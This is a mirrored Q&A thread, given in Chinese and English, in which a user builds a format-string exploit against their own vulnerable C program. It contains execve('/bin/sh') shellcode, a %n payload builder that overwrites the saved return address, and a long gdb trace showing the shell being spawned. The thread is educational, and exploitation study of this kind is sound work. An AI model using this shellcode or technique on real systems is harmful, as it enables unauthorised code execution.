格式字符串错误 - 利用

发布于 2024-10-17 23:40:07 字数 3248 浏览 4 评论 0原文

我正在尝试利用我的格式字符串错误,该错误位于该程序中:

#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void foo(char* tmp, char* format) {
  /* write into tmp a string formated as the format argument specifies */
  sprintf(tmp, format);

  /* just print the tmp buffer */
  printf("%s", tmp);
}

int main(int argc, char** argv) {
  char tmp[512];
  char format[512];

  while(1) {
    /* fill memory with constant byte */
    memset(format, '\0', 512);

    /* read at most 512 bytes into format */
    read(0, format, 512);

    /* compare two strings */
    if (!strncmp(format, "exit", 4))
      break;

    foo(tmp, format);
  }
  return 0;
}

堆栈如下所示:

Low Memory Addresses

   before printf             before sprintf
     function                   function

                         ----------------------- 
                         |     0xbffff258      | -
-----------------------  ----------------------- |--- arguments to printf/sprintf
|     0xbffff258      |  |     0xbffff058      | -
-----------------------  ----------------------- 
|     0xbffff458      |  (saved EBP)
-----------------------
|     0x08048528      |  (return address to main - EIP)
-----------------------
|     0xbffff258      |  (pointer to tmp)
----------------------- 
|     0xbffff058      |  (pointer to format)
-----------------------
|     0x00000004      |  (constant 4)
-----------------------
|      format[0]      |  (starts at 0xbffff058)
-----------------------
|     format[511]     |
-----------------------
|       tmp[0]        |  (starts at 0xbffff258)
-----------------------
|      tmp[511]       |
-----------------------
High Memory Addresses

所以基本思想是编写 %x、%n... 的序列并将其提供给程序。我用来构建输入字符串的程序是:

#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>


char shellcode[] =
  "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
  "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
  "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";


main()
{
  char b0[255];
  char b1[255];
  char b2[255];
  char b3[255];
  char b4[1024];
  char buffer[512];

  memset(b0, 0, 255);
  memset(b1, 0, 255);
  memset(b2, 0, 255);
  memset(b3, 0, 255);
  memset(b4, 'A', 1024);

  memset(b0, 'A', 0x68 - 0x10 - 0x28); // 0x10 because of the four addresses; 0x28 because of the shellcode
  memset(b1, 'A', 0xf0 - 0x68);
  memset(b2, 'A', 0xff - 0xf0);
  memset(b3, 'A', 0x1bf - 0xff);

  printf("\x48\xf0\xff\xbf" 
         "\x49\xf0\xff\xbf" 
         "\x4a\xf0\xff\xbf" 
         "\x4b\xf0\xff\xbf" 
         "%s" 
         "%s" 
         "%%6$n" 
         "%s" 
         "%%7$n"
         "%s" 
         "%%8$n" 
         "%s"
         "%%9$n" 
         ,shellcode, b0, b1, b2, b3);
}

我们可以看到我已经用以下十六进制覆盖了地址:0xbffff048、0xbffff049、0xbffff04a、0xbffff04b:0x68、0xf0、0xff、0x1bf,这给了我们地址:0xbffff068(这是shellcode在内存中的地址)。所以我们的想法是用这个地址覆盖 0x08048528 (EIP),这样当函数返回时它就会跳转到该地址。

我已经完成了所有这些,并用调试器检查了这一切都很好。但我仍然在 /lib/libc.so.6 的 vfprintf () 中遇到分段错误。

有人知道发生了什么事吗?我搞砸了什么吗?

谢谢

I'm trying to exploit my format string bug, which lies in this program:

#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void foo(char* tmp, char* format) {
  /* write into tmp a string formated as the format argument specifies */
  sprintf(tmp, format);

  /* just print the tmp buffer */
  printf("%s", tmp);
}

int main(int argc, char** argv) {
  char tmp[512];
  char format[512];

  while(1) {
    /* fill memory with constant byte */
    memset(format, '\0', 512);

    /* read at most 512 bytes into format */
    read(0, format, 512);

    /* compare two strings */
    if (!strncmp(format, "exit", 4))
      break;

    foo(tmp, format);
  }
  return 0;
}

The stack looks like this:

Low Memory Addresses

   before printf             before sprintf
     function                   function

                         ----------------------- 
                         |     0xbffff258      | -
-----------------------  ----------------------- |--- arguments to printf/sprintf
|     0xbffff258      |  |     0xbffff058      | -
-----------------------  ----------------------- 
|     0xbffff458      |  (saved EBP)
-----------------------
|     0x08048528      |  (return address to main - EIP)
-----------------------
|     0xbffff258      |  (pointer to tmp)
----------------------- 
|     0xbffff058      |  (pointer to format)
-----------------------
|     0x00000004      |  (constant 4)
-----------------------
|      format[0]      |  (starts at 0xbffff058)
-----------------------
|     format[511]     |
-----------------------
|       tmp[0]        |  (starts at 0xbffff258)
-----------------------
|      tmp[511]       |
-----------------------
High Memory Addresses

so the basic idea is to write a sequence of %x, %n, ... and feed it to the program. The program I'm using to build up the input string is:

#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>


char shellcode[] =
  "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
  "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
  "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";


main()
{
  char b0[255];
  char b1[255];
  char b2[255];
  char b3[255];
  char b4[1024];
  char buffer[512];

  memset(b0, 0, 255);
  memset(b1, 0, 255);
  memset(b2, 0, 255);
  memset(b3, 0, 255);
  memset(b4, 'A', 1024);

  memset(b0, 'A', 0x68 - 0x10 - 0x28); // 0x10 because of the four addresses; 0x28 because of the shellcode
  memset(b1, 'A', 0xf0 - 0x68);
  memset(b2, 'A', 0xff - 0xf0);
  memset(b3, 'A', 0x1bf - 0xff);

  printf("\x48\xf0\xff\xbf" 
         "\x49\xf0\xff\xbf" 
         "\x4a\xf0\xff\xbf" 
         "\x4b\xf0\xff\xbf" 
         "%s" 
         "%s" 
         "%%6$n" 
         "%s" 
         "%%7$n"
         "%s" 
         "%%8$n" 
         "%s"
         "%%9$n" 
         ,shellcode, b0, b1, b2, b3);
}

we can see that I've overwritting the addresses: 0xbffff048, 0xbffff049, 0xbffff04a, 0xbffff04b, with the following hexadecimals: 0x68, 0xf0, 0xff, 0x1bf, which gives us the address: 0xbffff068 (which is the address of the shellcode in memory). So the idea is to overwrite the 0x08048528 (EIP) with this address, so when function returns it would jump to that address.

I've done all this and checked with debugger that this is all fine. But I still get the segmentation fault in vfprintf () from /lib/libc.so.6.

Do anybody have any idea what's going on. Did I screw something up?

Thanks

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(2

深海夜未眠 2024-10-24 23:40:07

完全重写

  1. 好的,所以你的堆栈是可执行的。好的。
  2. 您应该尝试禁用堆栈地址随机化。
  3. 这似乎是 x86,但应该将此类信息添加到问题中。

Full Rewrite

  1. Ok, so you're stack is executable. Good.
  2. You should try disabling stack address randomization.
  3. This appears to be x86, but that sort of information should be added to the question.
蝶…霜飞 2024-10-24 23:40:07

地址有一点变化,但我已经按照你告诉我的做了,我使用了stepi,结果是:

在strcpy之后,内存看起来像:

(gdb) x/50x $esp
0xbffff024:     0xbffff240      0xbffff040      0xbffff448      0xbffff050
0xbffff034:     0xbf000001      0xbffff040      0x00000004      0xbffff030
0xbffff044:     0xbffff031      0xbffff032      0xbffff033      0x315e1aeb
0xbffff054:     0x074688c0      0x5e891e8d      0x0c468908      0xf3890bb0
0xbffff064:     0x8d084e8d      0x80cd0c56      0xffffe1e8      0x69622fff
0xbffff074:     0x68732f6e      0x41414141      0x41414141      0x41414141
0xbffff084:     0x41414141      0x41414141      0x41414141      0x6e243625
0xbffff094:     0x41414141      0x41414141      0x41414141      0x41414141

我们可以看到要跳转到的地址现在是0xbffff050,其中是正确的(这就是我们的 shellcode)。

然后我执行stepi:

(gdb) i reg $eip
eip            0x804846c        0x804846c <foo+24>
(gdb) stepi
0x0804846d in foo (tmp=0x1 <Address 0x1 out of bounds>, format=0xbffff4f4 "_\366\377\277") at main.c:13
13      }

让我们分析一下:

(gdb) i reg $eip
eip            0x804846d        0x804846d <foo+25>
(gdb) x/4i $eip
=> 0x804846d <foo+25>:  ret
   0x804846e <main>:    push   ebp
   0x804846f <main+1>:  mov    ebp,esp
   0x8048471 <main+3>:  sub    esp,0x414

好吧,如果我再执行一次stepi,那么应该执行return并且执行跳转到地址:0xbffff050。

然后再次执行 return:

(gdb) stepi
0xbffff050 in ?? ()

(gdb) x/4i $eip
=> 0xbffff050:  jmp    0xbffff06c
   0xbffff052:  pop    esi
   0xbffff053:  xor    eax,eax
   0xbffff055:  mov    BYTE PTR [esi+0x7],al
   0xbffff058:  lea    ebx,[esi]
   0xbffff05a:  mov    DWORD PTR [esi+0x8],ebx
   0xbffff05d:  mov    DWORD PTR [esi+0xc],eax
   0xbffff060:  mov    al,0xb

(gdb) i reg $eip
eip            0xbffff050       0xbffff050

ok 它尝试跳转到 0xbffff050,但没有成功还是什么? EIP仍为0xbffff050。

内存看起来像:

(gdb) x/50x 0xbffff024
0xbffff024:     0xbffff240      0xbffff040      0xbffff448      0xbffff050
0xbffff034:     0xbf000001      0xbffff040      0x00000004      0xbffff030
0xbffff044:     0xbffff031      0xbffff032      0xbffff033      0x315e1aeb
0xbffff054:     0x074688c0      0x5e891e8d      0x0c468908      0xf3890bb0
0xbffff064:     0x8d084e8d      0x80cd0c56      0xffffe1e8      0x69622fff
0xbffff074:     0x68732f6e      0x41414141      0x41414141      0x41414141
0xbffff084:     0x41414141      0x41414141      0x41414141      0x6e243625
0xbffff094:     0x41414141      0x41414141      0x41414141      0x41414141

我没有使用$esp来显示内存,因为它已经从0xbffff024变成了0xbffff034。

好的,让我们跳转到 0xbffff06c(这是 shellcode 的开头):

(gdb) stepi
0xbffff06c in ?? ()
(gdb) x/4i $eip
=> 0xbffff06c:  call   0xbffff052

好的,让我们调用 0xbffff052:

(gdb) stepi
0xbffff052 in ?? ()
(gdb) x/4i $eip
=> 0xbffff052:  pop    esi
   0xbffff053:  xor    eax,eax
   0xbffff055:  mov    BYTE PTR [esi+0x7],al
   0xbffff058:  lea    ebx,[esi]

让我们将 ESI 寄存器与上次调用的返回地址一起存储:

(gdb) stepi
0xbffff053 in ?? ()
(gdb) x/4i $eip
=> 0xbffff053:  xor    eax,eax
   0xbffff055:  mov    BYTE PTR [esi+0x7],al
   0xbffff058:  lea    ebx,[esi]
   0xbffff05a:  mov    DWORD PTR [esi+0x8],ebx
(gdb) i reg $esi
esi            0xbffff071       -1073745807

让我们将 EAX 设置为 0:

(gdb) stepi
0xbffff055 in ?? ()
(gdb) i reg $eax
eax            0x0      0

让我们在内存中的该位置写入 null :

(gdb) x/4i $eip
=> 0xbffff055:  mov    BYTE PTR [esi+0x7],al
   0xbffff058:  lea    ebx,[esi]
   0xbffff05a:  mov    DWORD PTR [esi+0x8],ebx
   0xbffff05d:  mov    DWORD PTR [esi+0xc],eax

(gdb) x/20x $esp
before:
0xbffff064:     0x8d084e8d      0x80cd0c56      0xffffe1e8      0x69622fff
0xbffff074:     0x68732f6e      0x41414141      0x41414141      0x41414141

after:
0xbffff064:     0x8d084e8d      0x80cd0c56      0xffffe1e8      0x69622fff
0xbffff074:     0x68732f6e      0x41414100      0x41414141      0x4141414

执行LEA指令:

(gdb) x/4i $eip
=> 0xbffff058:  lea    ebx,[esi]
   0xbffff05a:  mov    DWORD PTR [esi+0x8],ebx
   0xbffff05d:  mov    DWORD PTR [esi+0xc],eax
   0xbffff060:  mov    al,0xb
(gdb) x/x $esi
0xbffff071:     0x6e69622f
(gdb) x/x $ebx
0x29aff4:       0x00158d7c
(gdb) stepi
0xbffff05a in ?? ()
(gdb) x/x $ebx
0xbffff071:     0x6e69622f

另一个内存更改:

(gdb) x/4i $eip
=> 0xbffff05a:  mov    DWORD PTR [esi+0x8],ebx
   0xbffff05d:  mov    DWORD PTR [esi+0xc],eax
   0xbffff060:  mov    al,0xb
   0xbffff062:  mov    ebx,esi
(gdb) stepi
0xbffff05d in ?? ()
(gdb) stepi
0xbffff060 in ?? ()
(gdb) x/40x $esp
0xbffff064:     0x8d084e8d      0x80cd0c56      0xffffe1e8      0x69622fff
0xbffff074:     0x68732f6e      0xfff07100      0x000000bf      0x41414100

用系统调用填充EAX:

(gdb) x/4i $eip
=> 0xbffff060:  mov    al,0xb
   0xbffff062:  mov    ebx,esi
   0xbffff064:  lea    ecx,[esi+0x8]
   0xbffff067:  lea    edx,[esi+0xc]
(gdb) i reg $eax
eax            0x0      0
(gdb) stepi
0xbffff062 in ?? ()
(gdb) i reg $eax
eax            0xb      11

填充ebx,ecx,edx:

(gdb) x/4i $eip
=> 0xbffff062:  mov    ebx,esi
   0xbffff064:  lea    ecx,[esi+0x8]
   0xbffff067:  lea    edx,[esi+0xc]
   0xbffff06a:  int    0x80
(gdb) stepi
0xbffff064 in ?? ()
(gdb) stepi
0xbffff067 in ?? ()
(gdb) stepi
0xbffff06a in ?? ()
(gdb) i reg $eax $ebx $ecx $edx
eax            0xb      11
ebx            0xbffff071       -1073745807
ecx            0xbffff079       -1073745799
edx            0xbffff07d       -1073745795

执行int指令:

(gdb) x/4i $eip
=> 0xbffff06a:  int    0x80
   0xbffff06c:  call   0xbffff052
   0xbffff071:  das
   0xbffff072:  bound  ebp,QWORD PTR [ecx+0x6e]
(gdb) stepi
process 2863 is executing new program: /bin/dash

Program exited normally.

还有另一个stepi:

(gdb) stepi
The program is not being run.

所以我想没有错误,它可以工作。但问题仍然是,当我正常启动程序时,我只是没有得到 /bin/dash 控制台。奇怪的是,进程 2863 立即退出......而没有提示在 gdb 中输入 shell?有什么想法吗?

The addresses have changes a little bit, but I've done what you told me, I've used stepi and the results are:

After the strcpy the memory looks like:

(gdb) x/50x $esp
0xbffff024:     0xbffff240      0xbffff040      0xbffff448      0xbffff050
0xbffff034:     0xbf000001      0xbffff040      0x00000004      0xbffff030
0xbffff044:     0xbffff031      0xbffff032      0xbffff033      0x315e1aeb
0xbffff054:     0x074688c0      0x5e891e8d      0x0c468908      0xf3890bb0
0xbffff064:     0x8d084e8d      0x80cd0c56      0xffffe1e8      0x69622fff
0xbffff074:     0x68732f6e      0x41414141      0x41414141      0x41414141
0xbffff084:     0x41414141      0x41414141      0x41414141      0x6e243625
0xbffff094:     0x41414141      0x41414141      0x41414141      0x41414141

we can see that the address to jump to is now 0xbffff050, which is correct (there lies our shellcode).

and then I execute stepi:

(gdb) i reg $eip
eip            0x804846c        0x804846c <foo+24>
(gdb) stepi
0x0804846d in foo (tmp=0x1 <Address 0x1 out of bounds>, format=0xbffff4f4 "_\366\377\277") at main.c:13
13      }

let's analyze a little bit:

(gdb) i reg $eip
eip            0x804846d        0x804846d <foo+25>
(gdb) x/4i $eip
=> 0x804846d <foo+25>:  ret
   0x804846e <main>:    push   ebp
   0x804846f <main+1>:  mov    ebp,esp
   0x8048471 <main+3>:  sub    esp,0x414

ok if I do one more stepi, then the return should be executed and the execution jumped on the address: 0xbffff050.

and stepi again to execute return:

(gdb) stepi
0xbffff050 in ?? ()

(gdb) x/4i $eip
=> 0xbffff050:  jmp    0xbffff06c
   0xbffff052:  pop    esi
   0xbffff053:  xor    eax,eax
   0xbffff055:  mov    BYTE PTR [esi+0x7],al
   0xbffff058:  lea    ebx,[esi]
   0xbffff05a:  mov    DWORD PTR [esi+0x8],ebx
   0xbffff05d:  mov    DWORD PTR [esi+0xc],eax
   0xbffff060:  mov    al,0xb

(gdb) i reg $eip
eip            0xbffff050       0xbffff050

ok it tried to jump on the 0xbffff050, but didn't succeed or what? The EIP is still at 0xbffff050.

The memory looks like:

(gdb) x/50x 0xbffff024
0xbffff024:     0xbffff240      0xbffff040      0xbffff448      0xbffff050
0xbffff034:     0xbf000001      0xbffff040      0x00000004      0xbffff030
0xbffff044:     0xbffff031      0xbffff032      0xbffff033      0x315e1aeb
0xbffff054:     0x074688c0      0x5e891e8d      0x0c468908      0xf3890bb0
0xbffff064:     0x8d084e8d      0x80cd0c56      0xffffe1e8      0x69622fff
0xbffff074:     0x68732f6e      0x41414141      0x41414141      0x41414141
0xbffff084:     0x41414141      0x41414141      0x41414141      0x6e243625
0xbffff094:     0x41414141      0x41414141      0x41414141      0x41414141

I didn't use the $esp to display memory, because it has changed from 0xbffff024 to 0xbffff034.

Ok, let's jump to 0xbffff06c (this is beginning of the shellcode):

(gdb) stepi
0xbffff06c in ?? ()
(gdb) x/4i $eip
=> 0xbffff06c:  call   0xbffff052

Ok, let's call the 0xbffff052:

(gdb) stepi
0xbffff052 in ?? ()
(gdb) x/4i $eip
=> 0xbffff052:  pop    esi
   0xbffff053:  xor    eax,eax
   0xbffff055:  mov    BYTE PTR [esi+0x7],al
   0xbffff058:  lea    ebx,[esi]

Let's store ESI register with the return address from the previous call:

(gdb) stepi
0xbffff053 in ?? ()
(gdb) x/4i $eip
=> 0xbffff053:  xor    eax,eax
   0xbffff055:  mov    BYTE PTR [esi+0x7],al
   0xbffff058:  lea    ebx,[esi]
   0xbffff05a:  mov    DWORD PTR [esi+0x8],ebx
(gdb) i reg $esi
esi            0xbffff071       -1073745807

Let's set EAX to 0:

(gdb) stepi
0xbffff055 in ?? ()
(gdb) i reg $eax
eax            0x0      0

Let's write the null in the location in memory:

(gdb) x/4i $eip
=> 0xbffff055:  mov    BYTE PTR [esi+0x7],al
   0xbffff058:  lea    ebx,[esi]
   0xbffff05a:  mov    DWORD PTR [esi+0x8],ebx
   0xbffff05d:  mov    DWORD PTR [esi+0xc],eax

(gdb) x/20x $esp
before:
0xbffff064:     0x8d084e8d      0x80cd0c56      0xffffe1e8      0x69622fff
0xbffff074:     0x68732f6e      0x41414141      0x41414141      0x41414141

after:
0xbffff064:     0x8d084e8d      0x80cd0c56      0xffffe1e8      0x69622fff
0xbffff074:     0x68732f6e      0x41414100      0x41414141      0x4141414

Execute the LEA instruction:

(gdb) x/4i $eip
=> 0xbffff058:  lea    ebx,[esi]
   0xbffff05a:  mov    DWORD PTR [esi+0x8],ebx
   0xbffff05d:  mov    DWORD PTR [esi+0xc],eax
   0xbffff060:  mov    al,0xb
(gdb) x/x $esi
0xbffff071:     0x6e69622f
(gdb) x/x $ebx
0x29aff4:       0x00158d7c
(gdb) stepi
0xbffff05a in ?? ()
(gdb) x/x $ebx
0xbffff071:     0x6e69622f

Another memory change:

(gdb) x/4i $eip
=> 0xbffff05a:  mov    DWORD PTR [esi+0x8],ebx
   0xbffff05d:  mov    DWORD PTR [esi+0xc],eax
   0xbffff060:  mov    al,0xb
   0xbffff062:  mov    ebx,esi
(gdb) stepi
0xbffff05d in ?? ()
(gdb) stepi
0xbffff060 in ?? ()
(gdb) x/40x $esp
0xbffff064:     0x8d084e8d      0x80cd0c56      0xffffe1e8      0x69622fff
0xbffff074:     0x68732f6e      0xfff07100      0x000000bf      0x41414100

Fill EAX with system call:

(gdb) x/4i $eip
=> 0xbffff060:  mov    al,0xb
   0xbffff062:  mov    ebx,esi
   0xbffff064:  lea    ecx,[esi+0x8]
   0xbffff067:  lea    edx,[esi+0xc]
(gdb) i reg $eax
eax            0x0      0
(gdb) stepi
0xbffff062 in ?? ()
(gdb) i reg $eax
eax            0xb      11

Fill ebx, ecx, edx:

(gdb) x/4i $eip
=> 0xbffff062:  mov    ebx,esi
   0xbffff064:  lea    ecx,[esi+0x8]
   0xbffff067:  lea    edx,[esi+0xc]
   0xbffff06a:  int    0x80
(gdb) stepi
0xbffff064 in ?? ()
(gdb) stepi
0xbffff067 in ?? ()
(gdb) stepi
0xbffff06a in ?? ()
(gdb) i reg $eax $ebx $ecx $edx
eax            0xb      11
ebx            0xbffff071       -1073745807
ecx            0xbffff079       -1073745799
edx            0xbffff07d       -1073745795

Execute the int instruction:

(gdb) x/4i $eip
=> 0xbffff06a:  int    0x80
   0xbffff06c:  call   0xbffff052
   0xbffff071:  das
   0xbffff072:  bound  ebp,QWORD PTR [ecx+0x6e]
(gdb) stepi
process 2863 is executing new program: /bin/dash

Program exited normally.

And another stepi:

(gdb) stepi
The program is not being run.

So I guess there's no error, it works. But the problem remains that when I start the program normally, I just don't get the /bin/dash console. The curios thing is that the process 2863 just exits immediately...without prompting for a shell in the gdb? Any ideas?

~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文